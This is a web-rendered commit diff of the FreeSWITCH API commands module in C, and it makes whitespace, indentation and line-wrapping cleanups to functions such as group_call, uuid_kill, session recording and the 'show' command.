</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -348,7 +348,7 @@
</span><span class="cx">         if ((flags = strchr(group_name, '+'))) {
</span><span class="cx">                 *flags++ = '\0';
</span><span class="cx">                 for (fp = flags; fp &amp;&amp; *fp; fp++) {
</span><del>-                        switch(*fp) {
</del><ins>+                        switch (*fp) {
</ins><span class="cx">                         case 'F':
</span><span class="cx">                                 call_delim = &quot;|&quot;;
</span><span class="cx">                                 break;
</span><span class="lines">@@ -363,15 +363,15 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         domain = strchr(group_name, '@');
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (domain) {
</span><span class="cx">                 *domain++ = '\0';
</span><span class="cx">         } else {
</span><span class="cx">                 domain = switch_core_get_variable(&quot;domain&quot;);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(domain)) {
</span><span class="cx">                 switch_xml_t xml, x_domain, x_group;
</span><span class="cx">                 switch_event_t *params;
</span><span class="lines">@@ -383,14 +383,14 @@
</span><span class="cx">                 switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;group&quot;, group_name);
</span><span class="cx">                 switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;domain&quot;, domain);
</span><span class="cx">                 switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;action&quot;, &quot;group_call&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_xml_locate_group(group_name, domain, &amp;xml, &amp;x_domain, &amp;x_group, params) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_xml_t x_user, x_users, x_param, x_params, my_x_user;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((x_users = switch_xml_child(x_group, &quot;users&quot;))) {
</span><span class="cx">                                 ok++;
</span><del>-                                
-                                for(x_user = switch_xml_child(x_users, &quot;user&quot;); x_user; x_user = x_user-&gt;next) {
</del><ins>+
+                                for (x_user = switch_xml_child(x_users, &quot;user&quot;); x_user; x_user = x_user-&gt;next) {
</ins><span class="cx">                                         const char *id = switch_xml_attr_soft(x_user, &quot;id&quot;);
</span><span class="cx">                                         const char *x_user_type = switch_xml_attr_soft(x_user, &quot;type&quot;);
</span><span class="cx">                                         const char *dest = NULL;
</span><span class="lines">@@ -399,17 +399,16 @@
</span><span class="cx"> 
</span><span class="cx">                                         my_x_user = x_user;
</span><span class="cx"> 
</span><del>-                                        if (!strcmp(x_user_type,&quot;pointer&quot;)) {
</del><ins>+                                        if (!strcmp(x_user_type, &quot;pointer&quot;)) {
</ins><span class="cx">                                                 if (switch_xml_locate_user(&quot;id&quot;, id, domain, NULL,
</span><span class="cx">                                                                                                    &amp;xml_for_pointer, &amp;x_domain_for_pointer,
</span><del>-                                                                                                   &amp;x_user_for_pointer, &amp;x_group_for_pointer,
-                                                                                                   params) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                                                   &amp;x_user_for_pointer, &amp;x_group_for_pointer, params) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Can't find user [%s@%s]\n&quot;, id, domain);
</span><span class="cx">                                                         goto done_x_user;
</span><span class="cx">                                                 }
</span><span class="cx">                                                 my_x_user = x_user_for_pointer;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((x_params = switch_xml_child(x_domain, &quot;params&quot;))) {
</span><span class="cx">                                                 for (x_param = switch_xml_child(x_params, &quot;param&quot;); x_param; x_param = x_param-&gt;next) {
</span><span class="cx">                                                         const char *var = switch_xml_attr(x_param, &quot;name&quot;);
</span><span class="lines">@@ -446,7 +445,7 @@
</span><span class="cx">                                                 for (x_param = switch_xml_child(x_params, &quot;param&quot;); x_param; x_param = x_param-&gt;next) {
</span><span class="cx">                                                         const char *var = switch_xml_attr(x_param, &quot;name&quot;);
</span><span class="cx">                                                         const char *val = switch_xml_attr(x_param, &quot;value&quot;);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!strcasecmp(var, &quot;group-dial-string&quot;)) {
</span><span class="cx">                                                                 dest = val;
</span><span class="cx">                                                                 break;
</span><span class="lines">@@ -457,7 +456,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (dest) {
</span><span class="cx">                                                 if (channel) {
</span><span class="cx">                                                         switch_channel_set_variable(channel, &quot;dialed_group&quot;, group_name);
</span><span class="lines">@@ -476,7 +475,7 @@
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 d_dest = switch_mprintf(&quot;user/%s@%s&quot;, id, domain);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (d_dest) {
</span><span class="cx">                                                 dstream.write_function(&amp;dstream, &quot;%s%s&quot;, d_dest, call_delim);
</span><span class="cx"> 
</span><span class="lines">@@ -485,9 +484,9 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><del>-                                  done_x_user:
</del><ins>+                                  done_x_user:
</ins><span class="cx">                                         if (xml_for_pointer) {
</span><del>-                                                switch_xml_free(xml_for_pointer);
</del><ins>+                                                switch_xml_free(xml_for_pointer);
</ins><span class="cx">                                                 xml_for_pointer = NULL;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="lines">@@ -514,17 +513,17 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         ok = 0;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="cx">                 switch_event_destroy(&amp;params);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(group_name);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!ok) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;error/NO_ROUTE_DESTINATION&quot;);
</span><span class="cx">         }
</span><span class="lines">@@ -542,7 +541,7 @@
</span><span class="cx">         switch_event_t *params = NULL;
</span><span class="cx">         const char *rval = &quot;false&quot;;
</span><span class="cx">         char *group;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd) || !(mydata = strdup(cmd))) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="lines">@@ -574,9 +573,9 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">   end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;%s&quot;, rval);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_free(xml);
</span><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         switch_event_destroy(&amp;params);
</span><span class="lines">@@ -612,7 +611,7 @@
</span><span class="cx">                         domain = &quot;cluecon.com&quot;;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_create(&amp;params, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;user&quot;, user);
</span><span class="cx">         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;domain&quot;, domain);
</span><span class="lines">@@ -642,7 +641,7 @@
</span><span class="cx"> 
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((x_params = switch_xml_child(x_domain, container))) {
</span><span class="cx">                         for (x_param = switch_xml_child(x_params, elem); x_param; x_param = x_param-&gt;next) {
</span><span class="cx">                                 const char *var = switch_xml_attr(x_param, &quot;name&quot;);
</span><span class="lines">@@ -733,9 +732,9 @@
</span><span class="cx">                         free(xmlstr);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_free(xml);
</span><del>-                        
</del><ins>+
</ins><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -753,7 +752,7 @@
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;%s&quot;, digest);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_API(url_decode_function)
</span><span class="lines">@@ -766,11 +765,11 @@
</span><span class="cx">                 switch_url_decode(data);
</span><span class="cx">                 reply = data;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;%s&quot;, reply);
</span><span class="cx"> 
</span><span class="cx">         switch_safe_free(data);
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_API(echo_function)
</span><span class="lines">@@ -782,7 +781,7 @@
</span><span class="cx"> SWITCH_STANDARD_API(stun_function)
</span><span class="cx"> {
</span><span class="cx">         char *stun_ip = NULL;
</span><del>-        switch_port_t stun_port = (switch_port_t)SWITCH_STUN_DEFAULT_PORT;
</del><ins>+        switch_port_t stun_port = (switch_port_t) SWITCH_STUN_DEFAULT_PORT;
</ins><span class="cx">         char *p;
</span><span class="cx">         char ip_buf[256] = &quot;&quot;;
</span><span class="cx">         char *ip = NULL;
</span><span class="lines">@@ -849,7 +848,7 @@
</span><span class="cx">         const char *p;
</span><span class="cx">         switch_core_session_t *xsession;
</span><span class="cx">         char uuid[80] = &quot;&quot;;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-ERR, no input\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -864,7 +863,7 @@
</span><span class="cx">                         switch_copy_string(uuid, p, mycmd - p);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(mycmd)) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-ERR, no input\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -905,7 +904,7 @@
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 cmd = &quot; &quot;;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((p = strstr(cmd, &quot;c=&quot;))) {
</span><span class="cx">                 p += 2;
</span><span class="cx">                 c = atoi(p);
</span><span class="lines">@@ -929,7 +928,7 @@
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 cmd = &quot; &quot;;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((p = strstr(cmd, &quot;c=&quot;))) {
</span><span class="cx">                 p += 2;
</span><span class="cx">                 c = atoi(p);
</span><span class="lines">@@ -940,13 +939,13 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_console_complete(cmd, cursor, NULL, NULL, xml);
</span><del>-        
</del><ins>+
</ins><span class="cx">         sxml = switch_xml_toxml(xml, SWITCH_TRUE);
</span><span class="cx">         stream-&gt;write_function(stream, &quot;%s&quot;, sxml);
</span><span class="cx">         free(sxml);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_free(xml);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -961,20 +960,20 @@
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;%s&quot;, &quot;&quot;);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strncasecmp(cmd, &quot;uuid:&quot;, 5)) {
</span><span class="cx">                 p = cmd + 5;
</span><span class="cx">                 if ((input = strchr(p, ' ')) &amp;&amp; *input++) {
</span><span class="cx">                         switch_copy_string(uuid, p, input - p);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(input)) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;%s&quot;, &quot;&quot;);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_create(&amp;event, SWITCH_EVENT_CHANNEL_DATA);
</span><span class="cx">         if (*uuid) {
</span><span class="cx">                 if ((session = switch_core_session_locate(uuid))) {
</span><span class="lines">@@ -984,14 +983,14 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         expanded = switch_event_expand_headers(event, input);
</span><del>-        
</del><ins>+
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;%s&quot;, expanded);
</span><span class="cx"> 
</span><span class="cx">         if (expanded != input) {
</span><span class="cx">                 free(expanded);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_API(module_exists_function)
</span><span class="lines">@@ -1001,25 +1000,25 @@
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;true&quot;);
</span><span class="cx">                 } else {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;false&quot;);
</span><del>-                }                
</del><ins>+                }
</ins><span class="cx">         }
</span><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_API(domain_exists_function)
</span><span class="cx"> {
</span><span class="cx">         switch_xml_t root = NULL, domain = NULL;
</span><del>-        
-        if (!zstr(cmd)) {        
</del><ins>+
+        if (!zstr(cmd)) {
</ins><span class="cx">                 if (switch_xml_locate_domain(cmd, NULL, &amp;root, &amp;domain) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;true&quot;);
</span><del>-                        switch_xml_free(root); 
</del><ins>+                        switch_xml_free(root);
</ins><span class="cx">                 } else {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;false&quot;);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1027,7 +1026,7 @@
</span><span class="cx"> {
</span><span class="cx">         char *reply = &quot;&quot;;
</span><span class="cx">         char *data = NULL;
</span><del>-        int len = 0 ;
</del><ins>+        int len = 0;
</ins><span class="cx"> 
</span><span class="cx">         if (!zstr(cmd)) {
</span><span class="cx">                 len = (strlen(cmd) * 3) + 1;
</span><span class="lines">@@ -1039,7 +1038,7 @@
</span><span class="cx">         stream-&gt;write_function(stream, &quot;%s&quot;, reply);
</span><span class="cx"> 
</span><span class="cx">         switch_safe_free(data);
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> 
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1213,7 +1212,7 @@
</span><span class="cx"> 
</span><span class="cx">         mydata = strdup(cmd);
</span><span class="cx">         switch_assert(mydata);
</span><del>-        
</del><ins>+
</ins><span class="cx">         d = mydata;
</span><span class="cx"> 
</span><span class="cx">         if (*d == 'm' &amp;&amp; *(d + 1) == ':' &amp;&amp; *(d + 2)) {
</span><span class="lines">@@ -1230,8 +1229,8 @@
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         argc = switch_separate_string(d, delim, argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx"> 
</span><span class="cx">         if (argc &lt; 2) {
</span><span class="lines">@@ -1645,10 +1644,10 @@
</span><span class="cx"> 
</span><span class="cx">         if (*p == '-') {
</span><span class="cx">                 p++;
</span><del>-                while(p &amp;&amp; *p) {
</del><ins>+                while (p &amp;&amp; *p) {
</ins><span class="cx">                         switch (*p) {
</span><span class="cx">                         case ' ':
</span><del>-                                cmd = p+1;
</del><ins>+                                cmd = p + 1;
</ins><span class="cx">                                 goto end;
</span><span class="cx">                         case 'f':
</span><span class="cx">                                 force = SWITCH_TRUE;
</span><span class="lines">@@ -1659,7 +1658,7 @@
</span><span class="cx">                         p++;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, UNLOAD_SYNTAX);
</span><span class="lines">@@ -1688,10 +1687,10 @@
</span><span class="cx"> 
</span><span class="cx">         if (*p == '-') {
</span><span class="cx">                 p++;
</span><del>-                while(p &amp;&amp; *p) {
</del><ins>+                while (p &amp;&amp; *p) {
</ins><span class="cx">                         switch (*p) {
</span><span class="cx">                         case ' ':
</span><del>-                                cmd = p+1;
</del><ins>+                                cmd = p + 1;
</ins><span class="cx">                                 goto end;
</span><span class="cx">                         case 'f':
</span><span class="cx">                                 force = SWITCH_TRUE;
</span><span class="lines">@@ -1702,7 +1701,7 @@
</span><span class="cx">                         p++;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, UNLOAD_SYNTAX);
</span><span class="lines">@@ -1759,9 +1758,9 @@
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-ERR No Such Channel!\n&quot;);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_channel_t *channel = switch_core_session_get_channel(ksession);
</span><del>-                if (!zstr(kcause)){
</del><ins>+                if (!zstr(kcause)) {
</ins><span class="cx">                         cause = switch_channel_str2cause(kcause);
</span><del>-                }  
</del><ins>+                }
</ins><span class="cx">                 switch_channel_hangup(channel, cause);
</span><span class="cx">                 switch_core_session_rwunlock(ksession);
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;+OK\n&quot;);
</span><span class="lines">@@ -1792,16 +1791,16 @@
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-ERR No Such Channel!\n&quot;);
</span><span class="cx">                 goto done;
</span><span class="cx">         } else {
</span><del>-                switch_ivr_preprocess_session(ksession, (char *)argv[1]);
</del><ins>+                switch_ivr_preprocess_session(ksession, (char *) argv[1]);
</ins><span class="cx">                 switch_core_session_rwunlock(ksession);
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;+OK\n&quot;);
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- usage:
</del><ins>+  usage:
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, PREPROCESS_SYNTAX);
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -2349,7 +2348,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 switch_core_session_message_t msg = { 0 };
</span><span class="cx">                 switch_core_session_t *lsession = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 msg.message_id = SWITCH_MESSAGE_INDICATE_DEBUG_AUDIO;
</span><span class="cx">                 msg.string_array_arg[0] = argv[1];
</span><span class="cx">                 msg.string_array_arg[1] = argv[2];
</span><span class="lines">@@ -2366,9 +2365,9 @@
</span><span class="cx">         } else {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-ERR Operation Failed\n&quot;);
</span><span class="cx">         }
</span><del>-        
- done:
</del><span class="cx"> 
</span><ins>+  done:
+
</ins><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -2446,8 +2445,8 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!strcasecmp(action, &quot;start&quot;)) {
</span><del>-                if (switch_ivr_record_session(rsession, path, limit, NULL)!= SWITCH_STATUS_SUCCESS) {
-                        stream-&gt;write_function(stream, &quot;-ERR Cannot record session!\n&quot;); 
</del><ins>+                if (switch_ivr_record_session(rsession, path, limit, NULL) != SWITCH_STATUS_SUCCESS) {
+                        stream-&gt;write_function(stream, &quot;-ERR Cannot record session!\n&quot;);
</ins><span class="cx">                 } else {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;+OK Success\n&quot;);
</span><span class="cx">                 }
</span><span class="lines">@@ -2518,7 +2517,7 @@
</span><span class="cx">                 if (switch_ivr_stop_displace_session(rsession, path) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;-ERR Cannot stop displace session!\n&quot;);
</span><span class="cx">                 } else {
</span><del>-                        stream-&gt;write_function(stream, &quot;+OK Success\n&quot;); 
</del><ins>+                        stream-&gt;write_function(stream, &quot;+OK Success\n&quot;);
</ins><span class="cx">                 }
</span><span class="cx">         } else {
</span><span class="cx">                 goto usage;
</span><span class="lines">@@ -2550,32 +2549,35 @@
</span><span class="cx">         int level;
</span><span class="cx"> 
</span><span class="cx">         if (zstr(cmd)) {
</span><del>-                fail++; goto done;
</del><ins>+                fail++;
+                goto done;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         mycmd = strdup(cmd);
</span><span class="cx">         argc = switch_split(mycmd, ' ', argv);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc &lt; 2) {
</span><del>-                fail++; goto done;
</del><ins>+                fail++;
+                goto done;
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(u_session = switch_core_session_locate(argv[0]))) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-ERR No Such Channel!\n&quot;);
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(argv[1], &quot;stop&quot;)) {
</span><span class="cx">                 switch_ivr_stop_session_audio(u_session);
</span><span class="cx">                 goto done;
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if (strcasecmp(argv[1], &quot;start&quot;) || argc &lt; 5 || (strcasecmp(argv[2], &quot;read&quot;) &amp;&amp; strcasecmp(argv[2], &quot;write&quot;))) {
</span><del>-                fail++; goto done;
</del><ins>+                fail++;
+                goto done;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         level = atoi(argv[4]);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(argv[3], &quot;mute&quot;)) {
</span><span class="cx">                 switch_ivr_session_audio(u_session, &quot;mute&quot;, argv[2], level);
</span><span class="cx">         } else if (!strcasecmp(argv[3], &quot;level&quot;)) {
</span><span class="lines">@@ -2584,7 +2586,7 @@
</span><span class="cx">                 fail++;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         if (u_session) {
</span><span class="cx">                 switch_core_session_rwunlock(u_session);
</span><span class="lines">@@ -2637,7 +2639,7 @@
</span><span class="cx">                 switch_channel_set_flag(channel, CF_BREAK);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx">         if (psession) {
</span><span class="cx">                 switch_core_session_rwunlock(psession);
</span><span class="cx">         }
</span><span class="lines">@@ -2895,7 +2897,7 @@
</span><span class="cx"> SWITCH_STANDARD_API(unsched_api_function)
</span><span class="cx"> {
</span><span class="cx">         uint32_t id;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!cmd) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-ERR Invalid syntax. USAGE: %s\n&quot;, UNSCHED_SYNTAX);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2955,7 +2957,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- bad:
</del><ins>+  bad:
</ins><span class="cx"> 
</span><span class="cx">         stream-&gt;write_function(stream, &quot;-ERR Invalid syntax. USAGE: %s\n&quot;, SCHED_SYNTAX);
</span><span class="cx"> 
</span><span class="lines">@@ -3085,12 +3087,12 @@
</span><span class="cx">                         return -1;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (holder-&gt;justcount) {
</span><del>-            holder-&gt;count++;
-            return 0;
</del><ins>+                holder-&gt;count++;
+                return 0;
</ins><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         if (!(row = switch_xml_add_child_d(holder-&gt;xml, &quot;row&quot;, holder-&gt;rows++))) {
</span><span class="cx">                 return -1;
</span><span class="cx">         }
</span><span class="lines">@@ -3123,12 +3125,12 @@
</span><span class="cx"> {
</span><span class="cx">         struct holder *holder = (struct holder *) pArg;
</span><span class="cx">         int x;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (holder-&gt;justcount) {
</span><del>-            holder-&gt;count++;
-            return 0;
</del><ins>+                holder-&gt;count++;
+                return 0;
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (holder-&gt;print_title &amp;&amp; holder-&gt;count == 0) {
</span><span class="cx">                 if (holder-&gt;http) {
</span><span class="cx">                         holder-&gt;stream-&gt;write_function(holder-&gt;stream, &quot;\n&lt;tr&gt;&quot;);
</span><span class="lines">@@ -3215,22 +3217,22 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><span class="cx">         switch_core_db_handle(&amp;db);
</span><del>-        
</del><ins>+
</ins><span class="cx">         holder.justcount = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (cmd &amp;&amp; (mydata = strdup(cmd))) {
</span><span class="cx">                 argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">                 command = argv[0];
</span><span class="cx">                 if (argv[2] &amp;&amp; !strcasecmp(argv[1], &quot;as&quot;)) {
</span><span class="cx">                         as = argv[2];
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (stream-&gt;param_event) {
</span><span class="cx">                 const char *var;
</span><span class="cx">                 holder.http = switch_event_get_header(stream-&gt;param_event, &quot;http-host&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((var = switch_event_get_header(stream-&gt;param_event, &quot;content-type&quot;))) {
</span><span class="cx">                         if (!strcasecmp(var, &quot;text/plain&quot;)) {
</span><span class="cx">                                 holder.http = NULL;
</span><span class="lines">@@ -3253,14 +3255,12 @@
</span><span class="cx">         if (!command) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;-USAGE: %s\n&quot;, SHOW_SYNTAX);
</span><span class="cx">                 goto end;
</span><del>-        } else if (!strncasecmp(command, &quot;codec&quot;, 5) || 
-                           !strncasecmp(command, &quot;dialplan&quot;, 8) || 
-                           !strncasecmp(command, &quot;file&quot;, 4) || 
-                           !strncasecmp(command, &quot;timer&quot;, 5) || 
-                           !strncasecmp(command, &quot;chat&quot;, 4) || 
-                           !strncasecmp(command, &quot;say&quot;, 3) || 
-                           !strncasecmp(command, &quot;management&quot;, 10) || 
-                           !strncasecmp(command, &quot;endpoint&quot;, 8)) {
</del><ins>+        } else if (!strncasecmp(command, &quot;codec&quot;, 5) ||
+                           !strncasecmp(command, &quot;dialplan&quot;, 8) ||
+                           !strncasecmp(command, &quot;file&quot;, 4) ||
+                           !strncasecmp(command, &quot;timer&quot;, 5) ||
+                           !strncasecmp(command, &quot;chat&quot;, 4) ||
+                           !strncasecmp(command, &quot;say&quot;, 3) || !strncasecmp(command, &quot;management&quot;, 10) || !strncasecmp(command, &quot;endpoint&quot;, 8)) {
</ins><span class="cx">                 if (end_of(command) == 's') {
</span><span class="cx">                         end_of(command) = '\0';
</span><span class="cx">                 }
</span><span class="lines">@@ -3279,17 +3279,19 @@
</span><span class="cx">                 sprintf(sql, &quot;select * from %s&quot;, command);
</span><span class="cx">         } else if (!strcasecmp(command, &quot;application&quot;) || !strcasecmp(command, &quot;api&quot;)) {
</span><span class="cx">                 if (argv[1] &amp;&amp; strcasecmp(argv[1], &quot;as&quot;)) {
</span><del>-                        sprintf(sql, &quot;select name, description, syntax, ikey from interfaces where type = '%s' and description != '' and name = '%s' order by type,name&quot;, command, argv[1]);
</del><ins>+                        sprintf(sql,
+                                        &quot;select name, description, syntax, ikey from interfaces where type = '%s' and description != '' and name = '%s' order by type,name&quot;,
+                                        command, argv[1]);
</ins><span class="cx">                 } else {
</span><span class="cx">                         sprintf(sql, &quot;select name, description, syntax, ikey from interfaces where type = '%s' and description != '' order by type,name&quot;, command);
</span><span class="cx">                 }
</span><span class="cx">         } else if (!strcasecmp(command, &quot;calls&quot;)) {
</span><span class="cx">                 sprintf(sql, &quot;select * from calls order by call_created_epoch&quot;);
